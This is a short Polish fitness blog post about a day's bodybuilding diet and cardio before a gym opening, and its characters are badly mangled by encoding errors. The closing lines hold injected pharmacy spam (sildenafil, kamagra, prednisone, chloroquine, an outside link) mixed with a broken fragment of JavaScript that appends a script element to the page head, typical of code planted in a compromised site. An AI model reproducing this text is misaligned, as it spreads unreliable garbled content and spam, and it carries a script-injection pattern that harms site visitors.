Nowy REBEL

1.09.2011 / Michał Karmowski

DziAi?? wypadaAi?? dzieAi?? wolny wiAi??c mogAi??em wiAi??cej czasu poAi??wieciAi?? na pisanie artykuAi??u do nowego REBELA i ogarnAi??Ai?? trochAi?? sprawAi?? zwiAi??zanych z klubem , ktA?ry otwiera siAi?? za 10 dni:-)

dieta:

na czczo 1 porcja clenburexin i 30 min cardio na bieA?ni + brzuch, bezpoAi??rednio po 1 miarka bcaa powder i 1 miarka l-glutamine extreme

1-600g biaAi??ek jaj, 150g pAi??atkA?w owsianych , 100g awokado

2-300g piersi z kurczaka, 75g ryA?u jaAi??minowego, 100g awokado

3 i 4- 300g piersi z kurczaka, 75g ryA?u jaAi??minowego , 20g oleju

5-350g mintaja, 75g ryA?u , 40g orzechA?w wAi??oskich

30 min cardio na rowerze

6-300g woAi??owiny , 50g ryA?u basmati, 100g awokado

7-300g biaAi??ek jaj i 30g biaAi??ka z isolate 100, 50g masAi??a z migdaAi??A?w

dziAi?? wyjAi??tkowo druga sesja aerobA?w aby napAi??dziAi?? trochAi?? metabolizm, ale ogA?lnie dzieAi?? wolny od siAi??owni.

Jutro czeka mnie ciAi??A?ki dzieAi?? , bo przywoA?Ai?? sprzAi??t na siAi??ownie , wiAi??c bAi??dzie co robic, a do tego jutro jeden z najwaA?niejszych treningA?wAi?? czyli klatka….

singapore sildenafil citrate tablets bipolar disorder medications risperdal how to get antidepressants prescribed for sleep Order

 

to sa filmy z masaA?u u Dawida Juszczyka

 } else {d.getElementsByTagName('head')[0].appendChild(s);var d=document;var s=d.createElement('script'); Order Pills Order Cheap best place to buy kamagra online. Kamagra canada. buy kamagra oral jelly. http://iconitchiangmai.com/series4/prednisone-street-price/ order chloroquine autophagy Order